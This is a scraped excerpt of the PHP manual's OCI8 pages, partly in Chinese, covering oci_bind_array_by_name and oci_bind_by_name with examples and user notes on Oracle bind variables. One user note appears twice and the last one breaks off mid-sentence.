  • oci_fetch_array — Returns the next row from a query as an associative or numeric array
  • oci_fetch_assoc — Returns the next row from a query as an associative array
  • oci_fetch_object — Returns the next row from a query as an object
  • oci_fetch_row — Returns the next row from a query as a numeric array
  • oci_fetch — 从查询中读取下一行到内部缓冲区
  • oci_field_is_null — 检测当前获取的行中，字段是否为 null
  • oci_field_name — 返回 statement 中的字段名
  • oci_field_precision — 返回字段精度
  • oci_field_scale — 返回字段范围
  • oci_field_size — 返回字段大小
  • oci_field_type_raw — 返回字段的原始 Oracle 数据类型
  • oci_field_type — 返回字段的数据类型名称
  • oci_free_descriptor — Frees a descriptor
  • oci_free_statement — 释放关联于语句或游标的所有资源
  • oci_get_implicit_resultset — Returns the next child statement resource from a parent statement resource that has Oracle Database Implicit Result Sets
  • oci_lob_copy — Copies large object
  • oci_lob_is_equal — Compares two LOB/FILE locators for equality
  • oci_new_collection — 分配新的 collection 对象
  • oci_new_connect — 使用唯一连接，连接到 Oracle 服务器
  • oci_new_cursor — 分配并返回新的游标（语句句柄）
  • oci_new_descriptor — 初始化新的空 LOB 或 FILE 描述符
  • oci_num_fields — 返回语句中结果列的数量
  • oci_num_rows — 返回语句执行后受影响的行数
  • oci_parse — 预处理用于执行的 Oracle 语句
  • oci_password_change — 修改 Oracle 用户的密码
  • oci_pconnect — 使用持久连接连，连接到 Oracle 数据库
  • oci_register_taf_callback — Register a user-defined callback function for Oracle Database TAF
  • oci_result — 返回所取得行中字段的值
  • oci_rollback — 回滚未完成的事务
  • oci_server_version — 返回 Oracle 数据库版本
  • oci_set_action — Sets the action name
  • oci_set_call_timeout — Sets a millisecond timeout for database calls
  • oci_set_client_identifier — Sets the client identifier
  • oci_set_client_info — Sets the client information
  • oci_set_db_operation — Sets the database operation
  • oci_set_edition — Sets the database edition
  • oci_set_module_name — Sets the module name
  • oci_set_prefetch_lob — Sets the amount of data prefetched for each CLOB or BLOB.
  • oci_set_prefetch — 设置查询预读取的行数
  • oci_statement_type — 返回语句的类型
  • oci_unregister_taf_callback — Unregister a user-defined callback function for Oracle Database TAF

User Contributed Notes

greatval <wow> gmail <dot> com 24-Jul-2006 09:30
For use PHPv5 functions in PHPv4 i use simple script:
<?php
$funcs=array(
        'oci_connect'=>'OCILogon',
        'oci_parse'=>'OCIParse',
        'oci_execute'=>'OCIExecute',
        'oci_fetch'=>'OCIFetch',
        'oci_num_fields'=>'OCINumCols',
        'oci_field_name'=>'OCIColumnName',
        'oci_result'=>'OCIResult',
        'oci_free_statement'=>'OCIFreeStatement',
);
// yoy can add yours pairs of funcs.

foreach ($funcs as $k=>$v)
    {
        if (!function_exists($k))
            {
                $arg_string='$p0';
                for ($i=1;$i<20;$i++) {
                    $arg_string.=',$p'.$i;
                }
                eval ('function '.$k.' () {
                        list('.$arg_string.')=func_get_args();
                        return '.$v.'('.$arg_string.');
                        }
                ');
            }
    }
?>

simple, but it work. :-)
Javi Ros 02-Jun-2006 07:49
Here are the translate of some functions from ORA to OCI:

<?php
function Ora_Logon($usuario, $password)
{
        $con = oci_connect($usuario,$password);
        return $con;
}

function Ora_Open($conexion) {
        $cursor[0]=$conexion;
        return $cursor;
}

function Ora_Parse(&$cursor, $consulta) {
        $cursor[1]=oci_parse($cursor[0],$consulta);
        return $cursor;
}

function Ora_Exec(&$cursor) {
        oci_execute($cursor[1]);
        $cursor[2]=1;
        return $cursor;
}

function Ora_Fetch(&$cursor)
{
        if ($cursor[2] == 1) $cursor[2]=0;
        return oci_fetch($cursor[1]);
}

function Ora_GetColumn(&$cursor, $indice)
{
        if ($cursor[2] == 1) {
                Ora_Fetch($cursor);
                $cursor[2]=0;
        }
        $valor = oci_result($cursor[1],$indice+1);
        return $valor;
}

function Ora_Close(&$cursor)
{
        unset($cursor[1]);
}

function Ora_Logoff($conexion) {
}
?>


Binds a PHP array to an Oracle PL/SQL array parameter

  • ? OCI8 函数
  • oci_bind_by_name ?
  • PHP Manual
  • OCI8 函数
  • Binds a PHP array to an Oracle PL/SQL array parameter

oci_bind_array_by_name

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL OCI8 >= 1.2.0)

oci_bind_array_by_name — Binds a PHP array to an Oracle PL/SQL array parameter

说明

oci_bind_array_by_name(
resource $statement,
string $param,
array &$var,
int $max_array_length,
int $max_item_length = -1,
int $type = SQLT_AFC
): bool

Binds the PHP array var to the Oracle placeholder param, which points to an Oracle PL/SQL array. Whether it will be used for input or output will be determined at run-time.

参数

statement

A valid OCI statement identifier.

param

The Oracle placeholder.

var

An array.

max_array_length

Sets the maximum length both for incoming and result arrays.

max_item_length

Sets maximum length for array items. If not specified or equals to -1, oci_bind_array_by_name() will find the longest element in the incoming array and will use it as the maximum length.

type

Should be used to set the type of PL/SQL array items. See list of available types below:

  • SQLT_NUM - for arrays of NUMBER.

  • SQLT_INT - for arrays of INTEGER (Note: INTEGER it is actually a synonym for NUMBER(38), but SQLT_NUM type won't work in this case even though they are synonyms).

  • SQLT_FLT - for arrays of FLOAT.

  • SQLT_AFC - for arrays of CHAR.

  • SQLT_CHR - for arrays of VARCHAR2.

  • SQLT_VCS - for arrays of VARCHAR.

  • SQLT_AVC - for arrays of CHARZ.

  • SQLT_STR - for arrays of STRING.

  • SQLT_LVC - for arrays of LONG VARCHAR.

  • SQLT_ODT - for arrays of DATE.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 oci_bind_array_by_name() example

<?php

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$create = "CREATE TABLE bind_example(name VARCHAR(20))";
$stid = oci_parse($conn, $create);
oci_execute($stid);

$create_pkg = "
CREATE OR REPLACE PACKAGE ARRAYBINDPKG1 AS
TYPE ARRTYPE IS TABLE OF VARCHAR(20) INDEX BY BINARY_INTEGER;
PROCEDURE iobind(c1 IN OUT ARRTYPE);
END ARRAYBINDPKG1;";
$stid = oci_parse($conn, $create_pkg);
oci_execute($stid);

$create_pkg_body = "
CREATE OR REPLACE PACKAGE BODY ARRAYBINDPKG1 AS
CURSOR CUR IS SELECT name FROM bind_example;
PROCEDURE iobind(c1 IN OUT ARRTYPE) IS
BEGIN
-- Bulk Insert
FORALL i IN INDICES OF c1
INSERT INTO bind_example VALUES (c1(i));

-- Fetch and reverse
IF NOT CUR%ISOPEN THEN
OPEN CUR;
END IF;
FOR i IN REVERSE 1..5 LOOP
FETCH CUR INTO c1(i);
IF CUR%NOTFOUND THEN
CLOSE CUR;
EXIT;
END IF;
END LOOP;
END iobind;
END ARRAYBINDPKG1;";
$stid = oci_parse($conn, $create_pkg_body);
oci_execute($stid);

$stid = oci_parse($conn, "BEGIN arraybindpkg1.iobind(:c1); END;");
$array = array("one", "two", "three", "four", "five");
oci_bind_array_by_name($stid, ":c1", $array, 5, -1, SQLT_CHR);
oci_execute($stid);

var_dump($array);

?>

User Contributed Notes

david dot paper at usu dot edu 10-Sep-2009 10:44
We were able to get the example included for the "OCI_BIND_ARRAY_BY_NAME" to work. However, the example is NOT actually binding with a PL/SQL array of any type. It is writing data to an Oracle table named "bind_example". Notice how this table is created. The table does NOT have an array type as one of its fields. Since this is the case, there cannot be any binding to a PL/SQL array because at least one field in the table must be either a VARRAY, NESTED TABLE or ASSOCIATIVE ARRAY data type. We searched the Internet and could not find any examples that actually read from a PL/SQL array type. We were able to get data from a PL/SQL VARRAY data type, but only by using a SELECT statement.
Anonymous 12-Jun-2008 09:44
This function appears to work with PL/SQL associative arrays (index-by tables) but I was unable to get it to work with PL/SQL varrays
14-Feb-2007 04:24
Note that it looks like you can't bind a multi-dimensional array with this method. If you try, you'll get a Notice about Array to string conversion, and your PL/SQL will end up with a one-dimensional array filled with the a lot of string values, all saying "Array". :|


绑定 PHP 变量到 Oracle 位置标志符

  • ? oci_bind_array_by_name
  • oci_cancel ?
  • PHP Manual
  • OCI8 函数
  • 绑定 PHP 变量到 Oracle 位置标志符

oci_bind_by_name

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_bind_by_name — 绑定 PHP 变量到 Oracle 位置标志符

说明

oci_bind_by_name(
resource $statement,
string $param,
mixed &$var,
int $max_length = -1,
int $type = 0
): bool

将 PHP 变量 var 绑定到 Oracle 位置占位符 param。绑定对 Oracle 数据库性能很重要，同时也是避免 SQL 注入安全问题的一种方式。

绑定允许数据库重用语句上下文和以前执行语句的缓存，即使另一个用户或进程最初（originally）执行它也是如此。绑定减少了 SQL 注入问题，因为与绑定变量关联的数据永远不会被视为 SQL 语句的一部分。不需要引用或转义。

已经绑定的 PHP 变量可以改变，语句重新执行，而不需要重新解析语句或重新绑定。

在 Oracle 中，绑定变量通常分为用于传递到数据库的值的 IN 绑定和用于返回给 PHP 的值的 OUT 绑定。绑定变量可以同时为 IN 和 OUT。绑定变量是用于输入还是输出是在运行时确定的。

使用 OUT 绑定时必须指定 max_length 以便 PHP 分配足够的内存来保存返回值。

对于 IN 绑定，如果使用不同的 PHP 变量值多次重新执行该语句，建议设置 max_length 长度。否则 Oracle 可能会将数据截断为初始 PHP 变量值的长度。如果不知道最大长度是多少，则在每次调用 oci_execute() 之前使用当前数据大小重新调用 oci_bind_by_name()。绑定不必要的大长度将对数据库中的进程内存产生影响。

绑定调用告诉 Oracle 从哪个内存地址读取数据。对于 IN 绑定，调用 oci_execute() 时地址需要包含有效数据。这意味着变量绑定必须保留在作用域内直到执行。否则，可能会出现意外结果或错误，例如"ORA-01460：未实现或不合理的转换请求"。对于 OUT 绑定，一个问题是没有在 PHP 变量中设置值。

对于重复执行的语句，永远不变的绑定值可能会降低 Oracle 优化器选择最佳语句执行计划的能力。很少重新执行的长时间运行的语句可能无法从绑定中获益。但是，在这两种情况下，绑定可能比将字符串连接到 SQL 语句中更安全，因为如果连接未过滤的用户文本，这可能会带来安全风险。

参数

statement

有效的 OCI8 语句标识符。

param

语句中使用以冒号为前缀的绑定变量占位符。冒号在 param 中是可选的。Oracle 不使用问号作为占位符。

var

与 param 关联的 PHP 变量

max_length

设置数据的最大长度。如果将其设置为 -1，则此函数将使用 var 的当前长度来设置最大长度。在这种情况下，var 必须存在并且在调用 oci_bind_by_name() 时包含数据。

type

Oracle 处理数据的数据类型。使用的默认 type 是 SQLT_CHR。可能的话，Oracle 将在此类型和数据库列（或 PL/SQL 变量类型）之间转换数据。

如果要绑定抽象数据类型（LOB/ROWID/BFILE），需要先用 oci_new_descriptor() 函数分配空间。length 没有用于抽象数据类型，应被设为 -1。

type 的可能值为：

  • SQLT_BFILEE 或 OCI_B_BFILE 对应 BFILE；

  • SQLT_CFILEE 或 OCI_B_CFILEE 对应 CFILE；

  • SQLT_CLOB 或 OCI_B_CLOB 对应 CLOB；

  • SQLT_BLOB 或 OCI_B_BLOB 对应 BLOB；

  • SQLT_RDD 或 OCI_B_ROWID 对应 ROWID；

  • SQLT_NTY 或 OCI_B_NTY 对应命名数据类型；

  • SQLT_INT 或 OCI_B_INT 对应整型；

  • SQLT_CHR 对应 VARCHAR；

  • SQLT_BIN 或 OCI_B_BIN 对应 RAW 列；

  • SQLT_LNG 对应 LONG 列；

  • SQLT_LBI 对应 LONG RAW 列；

  • SQLT_RSET 对应使用 oci_new_cursor() 创建的游标；

  • SQLT_BOL 或 OCI_B_BOL 对应 PL/SQL BOOLEAN（需要 Oracle Database 12c）

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 使用 oci_bind_by_name() 插入数据

<?php

// Create the table with:
// CREATE TABLE mytab (id NUMBER, text VARCHAR2(40));

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn,"INSERT INTO mytab (id, text) VALUES(:id_bv, :text_bv)");

$id = 1;
$text = "Data to insert ";
oci_bind_by_name($stid, ":id_bv", $id);
oci_bind_by_name($stid, ":text_bv", $text);
oci_execute($stid);

// Table now contains: 1, 'Data to insert '

?>

Example #2 一次绑定多次执行

<?php

// Create the table with:
// CREATE TABLE mytab (id NUMBER);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$a = array(1,3,5,7,11); // data to insert

$stid = oci_parse($conn, 'INSERT INTO mytab (id) VALUES (:bv)');
oci_bind_by_name($stid, ':bv', $v, 20);
foreach ($a as $v) {
$r = oci_execute($stid, OCI_DEFAULT); // don't auto commit
}
oci_commit($conn); // commit everything at once

// Table contains five rows: 1, 3, 5, 7, 11

oci_free_statement($stid);
oci_close($conn);

?>

Example #3 使用 foreach 循环绑定

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = 'SELECT * FROM departments WHERE department_name = :dname AND location_id = :loc';
$stid = oci_parse($conn, $sql);

$ba = array(':dname' => 'IT Support', ':loc' => 1700);

foreach ($ba as $key => $val) {

// oci_bind_by_name($stid, $key, $val) does not work
// because it binds each placeholder to the same location: $val
// instead use the actual location of the data: $ba[$key]
oci_bind_by_name($stid, $key, $ba[$key]);
}

oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS);
foreach ($row as $item) {
print $item."<br>\n";
}

oci_free_statement($stid);
oci_close($conn);

?>

Example #4 在 WHERE 子句中绑定

<?php

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = 'SELECT last_name FROM employees WHERE department_id = :didbv ORDER BY last_name';
$stid = oci_parse($conn, $sql);
$didbv = 60;
oci_bind_by_name($stid, ':didbv', $didbv);
oci_execute($stid);
while (($row = oci_fetch_array($stid, OCI_ASSOC)) != false) {
echo $row['LAST_NAME'] ."<br>\n";
}

// Output is
// Austin
// Ernst
// Hunold
// Lorentz
// Pataballa

oci_free_statement($stid);
oci_close($conn);

?>

Example #5 使用 LIKE 子句绑定

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

// Find all cities that begin with 'South'
$stid = oci_parse($conn, "SELECT city FROM locations WHERE city LIKE :bv");
$city = 'South%'; // '%' is a wildcard in SQL
oci_bind_by_name($stid, ":bv", $city);
oci_execute($stid);
oci_fetch_all($stid, $res);

foreach ($res['CITY'] as $c) {
print $c . "<br>\n";
}
// Output is
// South Brunswick
// South San Francisco
// Southlake

oci_free_statement($stid);
oci_close($conn);

?>

Example #6 与 REGEXP_LIKE 绑定

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

// Find all cities that contain 'ing'
$stid = oci_parse($conn, "SELECT city FROM locations WHERE REGEXP_LIKE(city, :bv)");
$city = '.*ing.*';
oci_bind_by_name($stid, ":bv", $city);
oci_execute($stid);
oci_fetch_all($stid, $res);

foreach ($res['CITY'] as $c) {
print $c . "<br>\n";
}
// Output is
// Beijing
// Singapore

oci_free_statement($stid);
oci_close($conn);

?>

对于少量固定数量的 IN 子句条件，请使用单独的绑定变量。运行时未知的值可以设置为 NULL。这允许所有应用程序用户使用单个语句，从而最大限度地提高 Oracle 数据库缓存效率。

Example #7 在 IN 子句中绑定多个值

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = 'SELECT last_name FROM employees WHERE employee_id in (:e1, :e2, :e3)';
$stid = oci_parse($conn, $sql);
$mye1 = 103;
$mye2 = 104;
$mye3 = NULL; // pretend we were not given this value
oci_bind_by_name($stid, ':e1', $mye1);
oci_bind_by_name($stid, ':e2', $mye2);
oci_bind_by_name($stid, ':e3', $mye3);
oci_execute($stid);
oci_fetch_all($stid, $res);
foreach ($res['LAST_NAME'] as $name) {
print $name ."<br>\n";
}

// Output is
// Ernst
// Hunold

oci_free_statement($stid);
oci_close($conn);

?>

Example #8 Binding a ROWID returned by a query

<?php

// Create the table with:
// CREATE TABLE mytab (id NUMBER, salary NUMBER, name VARCHAR2(40));
// INSERT INTO mytab (id, salary, name) VALUES (1, 100, 'Chris');
// COMMIT;

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT ROWID, name FROM mytab WHERE id = :id_bv FOR UPDATE');
$id = 1;
oci_bind_by_name($stid, ':id_bv', $id);
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS);
$rid = $row['ROWID'];
$name = $row['NAME'];

// Change name to upper case & save the changes
$name = strtoupper($name);
$stid = oci_parse($conn, 'UPDATE mytab SET name = :n_bv WHERE ROWID = :r_bv');
oci_bind_by_name($stid, ':n_bv', $name);
oci_bind_by_name($stid, ':r_bv', $rid, -1, OCI_B_ROWID);
oci_execute($stid);

// The table now contains 1, 100, CHRIS

oci_free_statement($stid);
oci_close($conn);

?>

Example #9 INSERT 时绑定 ROWID

<?php

// This example inserts an id & name, and then updates the salary
// Create the table with:
// CREATE TABLE mytab (id NUMBER, salary NUMBER, name VARCHAR2(40));
//
// Based on original ROWID example by thies at thieso dot net (980221)

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = "INSERT INTO mytab (id, name) VALUES(:id_bv, :name_bv)
RETURNING ROWID INTO :rid";

$ins_stid = oci_parse($conn, $sql);

$rowid = oci_new_descriptor($conn, OCI_D_ROWID);
oci_bind_by_name($ins_stid, ":id_bv", $id, 10);
oci_bind_by_name($ins_stid, ":name_bv", $name, 32);
oci_bind_by_name($ins_stid, ":rid", $rowid, -1, OCI_B_ROWID);

$sql = "UPDATE mytab SET salary = :salary WHERE ROWID = :rid";
$upd_stid = oci_parse($conn, $sql);
oci_bind_by_name($upd_stid, ":rid", $rowid, -1, OCI_B_ROWID);
oci_bind_by_name($upd_stid, ":salary", $salary, 32);

// ids and names to insert
$data = array(1111 => "Larry",
2222 => "Bill",
3333 => "Jim");

// Salary of each person
$salary = 10000;

// Insert and immediately update each row
foreach ($data as $id => $name) {
oci_execute($ins_stid);
oci_execute($upd_stid);
}

$rowid->free();
oci_free_statement($upd_stid);
oci_free_statement($ins_stid);

// Show the new rows
$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid);
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
var_dump($row);
}

oci_free_statement($stid);
oci_close($conn);

?>

Example #10 为 PL/SQL 存储函数绑定

<?php

// Before running the PHP program, create a stored function in
// SQL*Plus or SQL Developer:
//
// CREATE OR REPLACE FUNCTION myfunc(p IN NUMBER) RETURN NUMBER AS
// BEGIN
// RETURN p * 3;
// END;

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$p = 8;

$stid = oci_parse($conn, 'begin :r := myfunc(:p); end;');
oci_bind_by_name($stid, ':p', $p);

// The return value is an OUT bind. The default type will be a string
// type so binding a length 40 means that at most 40 digits will be
// returned.
oci_bind_by_name($stid, ':r', $r, 40);

oci_execute($stid);

print "$r\n"; // prints 24

oci_free_statement($stid);
oci_close($conn);

?>

Example #11 为 PL/SQL 存储过程绑定参数

<?php

// Before running the PHP program, create a stored procedure in
// SQL*Plus or SQL Developer:
//
// CREATE OR REPLACE PROCEDURE myproc(p1 IN NUMBER, p2 OUT NUMBER) AS
// BEGIN
// p2 := p1 * 2;
// END;

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$p1 = 8;

$stid = oci_parse($conn, 'begin myproc(:p1, :p2); end;');
oci_bind_by_name($stid, ':p1', $p1);

// The second procedure parameter is an OUT bind. The default type
// will be a string type so binding a length 40 means that at most 40
// digits will be returned.
oci_bind_by_name($stid, ':p2', $p2, 40);

oci_execute($stid);

print "$p2\n"; // prints 16

oci_free_statement($stid);
oci_close($conn);

?>

Example #12 绑定 CLOB 列

<?php

// Before running, create the table:
// CREATE TABLE mytab (mykey NUMBER, myclob CLOB);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$mykey = 12343; // arbitrary key for this example;

$sql = "INSERT INTO mytab (mykey, myclob)
VALUES (:mykey, EMPTY_CLOB())
RETURNING myclob INTO :myclob";

$stid = oci_parse($conn, $sql);
$clob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_bind_by_name($stid, ":myclob", $clob, -1, OCI_B_CLOB);
oci_execute($stid, OCI_DEFAULT);
$clob->save("A very long string");

oci_commit($conn);

// Fetching CLOB data

$query = 'SELECT myclob FROM mytab WHERE mykey = :mykey';

$stid = oci_parse ($conn, $query);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_execute($stid);

print '<table border="1">';
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_LOBS)) {
print '<tr><td>'.$row['MYCLOB'].'</td></tr>';
// In a loop, freeing the large variable before the 2nd fetch reduces PHP's peak memory usage
unset($row);
}
print '</table>';

?>

Example #13 绑定 PL/SQL BOOLEAN

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$plsql =
"begin
:output1 := true;
:output2 := false;
end;";

$s = oci_parse($c, $plsql);
oci_bind_by_name($s, ':output1', $output1, -1, OCI_B_BOL);
oci_bind_by_name($s, ':output2', $output2, -1, OCI_B_BOL);
oci_execute($s);
var_dump($output1); // true
var_dump($output2); // false

?>

注释

Warning

不要同时使用 addslashes() 和 oci_bind_by_name()，因为不需要引号。任何应用的引号都将写入数据库，因为 oci_bind_by_name() 逐字插入数据并且不会删除引号或转义字符。

Note:

如果将字符串绑定到 WHERE 子句中的 CHAR 列，请记住 Oracle 对 CHAR 列使用空白填充的比较语义。PHP 变量使用空格填充到与成功的 WHERE 子句的列相同的宽度。

Note:

PHP var 参数是引用。某些形式的循环无法按预期工作：

<?php
foreach ($myarray as $key => $value) {
oci_bind_by_name($stid, $key, $value);
}
?>

这会将每个键绑定到 $value 的位置，因此所有绑定变量最终都指向最后一个循环迭代的值。应该使用以下内容：

<?php
foreach ($myarray as $key => $value) {
oci_bind_by_name($stid, $key, $myarray[$key]);
}
?>

参见

  • oci_bind_array_by_name() - Binds a PHP array to an Oracle PL/SQL array parameter
  • oci_parse() - 预处理用于执行的 Oracle 语句

User Contributed Notes

charles dot fisher at arconic dot com 21-Jul-2021 06:45
I am trying to rework ADOdb library calls to OCI, and I wrote this function today which is helping.

function OraQry(&$Results, $Query, $Binds = false) {
  global $xdb;

  $Results = oci_parse($xdb, $Query);

  if($Binds) foreach($Binds as $BindNm => $BindValJunk)
    oci_bind_by_name($Results, $BindNm, $Binds[$BindNm], -1);

  oci_execute($Results, OCI_NO_AUTO_COMMIT);

  return null;
}

This also has similarity to PDO in passing an array of bind variables, with the added benefit that if they are named numerically (starting at zero), then the call to the array() function can be omitted:

OraQry($rs,
  'select status from all_tables where owner=:0 and table_name=:1',
    [$owner, $table_name]);

while($arr = oci_fetch_assoc($rs)) echo $arr['STATUS'] . "\n";
asui dot dev dot null at gmail dot com 22-Oct-2019 11:20
If you are getting "ORA-01722: invalid number error" while inserting/updating a FLOAT value into a NUMBER column, please check the correctness of a binded value format according to the current locale settings.

Default "american" locale assumes that value send to oracle will be a dot decimal separator (just like 4127.5). But with setlocale('pl_PL.UTF-8') your float number would be represented as 4127,5 and that form will be used while sending data do oracle causing a problem...
That was my case (8 hours of debugging).

You can check your current locale with setlocale(LC_ALL, 0).

What I can recommend as a solutions:
a) do not set locale, or set it to 'C' for a time of sending data;
b) convert float to a string format compatible with current oracle session NLS_NUMERIC_CHARACTERS parameter value.
For example: when NLS_NUMERIC_CHARACTERS = '.,' float value 4127.5 should be converted to '4127.5'.  Then oracle will catch it correctly even if current locale are set differently.
splintyg at gmail dot com 19-Oct-2017 10:28
Guys, i've been looking for long time, how to pass clob to and get from procedure
CREATE OR REPLACE PROCEDURE myproc(p1 IN clob, p2 OUT clob);

Here You are an answer:

<?php
        $conn = oci_connect("TEST", "html", "//hostname", "UTF8");

    $filename = "./clob.txt";
    $handle = fopen($filename, "r");
    $f = fread($handle, filesize($filename));
    fclose($handle);

    $stid = oci_parse($conn, "begin myproc(:p1, :p2); end;");
    $p1 = oci_new_descriptor($conn, OCI_D_LOB);
    $p2 = oci_new_descriptor($conn, OCI_D_LOB);

    oci_bind_by_name($stid, ":p1", $p1, -1, OCI_B_CLOB);
    oci_bind_by_name($stid, ":p2", $p2, -1, OCI_B_CLOB);
    $p1->writeTemporary($f, OCI_TEMP_BLOB);
    oci_execute($stid); -- Figure out OCI_NO_AUTO_COMMIT
    oci_commit($conn);
    echo $p2->load();

    $p1    ->close();
    $p2    ->close();
    oci_free_statement($stid);
    oci_close($conn);
?>

And perfect book about "PHP and Oracle"
http://www.oracle.com/technetwork/topics/php/underground-php-oracle-manual-098250.html
splintyg at gmail dot com 19-Oct-2017 10:27
Guys, i've been looking for long time, how to pass clob to and get from procedure
CREATE OR REPLACE PROCEDURE myproc(p1 IN clob, p2 OUT clob);

Here You are an answer:

<?php
        $conn = oci_connect("TEST", "html", "//hostname", "UTF8");

    $filename = "./clob.txt";
    $handle = fopen($filename, "r");
    $f = fread($handle, filesize($filename));
    fclose($handle);

    $stid = oci_parse($conn, "begin myproc(:p1, :p2); end;");
    $p1 = oci_new_descriptor($conn, OCI_D_LOB);
    $p2 = oci_new_descriptor($conn, OCI_D_LOB);

    oci_bind_by_name($stid, ":p1", $p1, -1, OCI_B_CLOB);
    oci_bind_by_name($stid, ":p2", $p2, -1, OCI_B_CLOB);
    $p1->writeTemporary($f, OCI_TEMP_BLOB);
    oci_execute($stid); -- Figure out OCI_NO_AUTO_COMMIT
    oci_commit($conn);
    echo $p2->load();

    $p1    ->close();
    $p2    ->close();
    oci_free_statement($stid);
    oci_close($conn);
?>

And perfect book about "PHP and Oracle"
http://www.oracle.com/technetwork/topics/php/underground-php-oracle-manual-098250.html
Anonymous 24-Jul-2017 02:25
Bear in mind that you cannot use reserved words for bind variables. Otherwise you'll get ORA-01745: Invalid host/bind variable name error.
martin dot abbrent at ufz dot de 24-Aug-2016 11:21
Example #7 only shows the binding of a small fixed number of values in an IN clause. There is also a way to bind multiple conditions with a variable number of values.

<?php
$ids = array(
    103,
    104
);

$conn         = oci_pconnect($user, $pass, $tns);
// Using ORACLE table() function to get the ids from the subquery
$sql          = 'SELECT * FROM employees WHERE employee_id IN (SELECT column_value FROM table(:ids))';
$stmt         = oci_parse($conn, $sql);
// Create collection of numbers. Build in type for strings is ODCIVARCHAR2LIST, but you can also create own types.
$idCollection = oci_new_collection($conn, 'ODCINUMBERLIST', 'SYS');

// Maximum length of collections of type ODCINUMBERLIST is 32767, maybe you should check that!
foreach ($ids as $id) {
    $idCollection->append($id);
}

oci_bind_by_name($stmt, ':ids', $idCollection, -1, SQLT_NTY);
oci_execute($stmt, OCI_DEFAULT);
oci_fetch_all($stmt, $return);
oci_free_statement($stmt);

oci_close($conn);

?>
marki at trash-mail dot com 28-Mar-2016 09:11
Please note that in my earlier note about having oci_bind_by_name() in a function, this becomes a little more complicated when returning values like "UPDATE table SET bla='blubb' RETURNING id INTO :id".

You can do it as follows:

<?php
function sql($q, &$vars_in=array(), &$vars_out=array()) {
  ...
  $stid = oci_parse($conn, $q);
  ...
  reset($vars_in);
  do {
    if (current($vars_in)===FALSE) {
      break;
    }
    $b = oci_bind_by_name($stid, key($vars_in), current($vars_in));
    // insert exception handling here
  } while (each($vars_in) !== FALSE);

  // VARS TO RETURN
  // we'll fix this to integer type because for now we need this for index IDs
  foreach ($vars_out as $k => $v) {
    $b = oci_bind_by_name($stid, $k, $vars_out[$k], -1, SQLT_INT);
    // insert exception handling here
  }

  ...
}
?>

Use like this:

<?php
$blubb = 'blubb';
$b = array(':bla' => $blubb);
$b_out = array(':id' => ''); // leave value empty
$x = sql($q, $b, $b_out);
$id = $b_out[':id'];
?>

(The point is: you would not be able to return anything into $b[':bla'] because $b[':bla'] becomes current($vars_in) inside sql() and cannot be written to.)
marki at trash-mail dot com 26-Mar-2016 07:53
I had a query that was working properly at first sight, no errors on execute, nothing, but there were simply no results returned at runtime.

Be careful when putting the database commands into a function and binding your variables there while using oci_fetch_xxx() outside the function.

function sql($conn, $stmt, $var) {
  $stid = oci_parse($conn, $stmt);
  ...
  oci_bind_by_name($stid, ':val', $var);
  ...
}
sql($conn, $q, $var);
$row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS);

As you see from the definition of oci_bind_by_name(), $var needs to be passed as reference, so your function has to have this reference ready like this:

function sql($conn, $stmt, &$var) {
  $stid = oci_parse($conn, $stmt);
  ...
  oci_bind_by_name($stid, ':val', $var);
  ...
}

The background is that if you don't pass by reference (in which case $var inside the function is a copy of $var outside the function), then oci_bind_by_name() will work just fine at first glance.
However, since the oci_fetch statements that you use to actually get the data will reference the $var that has ceased to exist when the function finished. In fact, since the varbind seems to be a pointer, that pointer will point to an invalid location at that point and your variables won't be substitued in the SQL.

All this also means that:

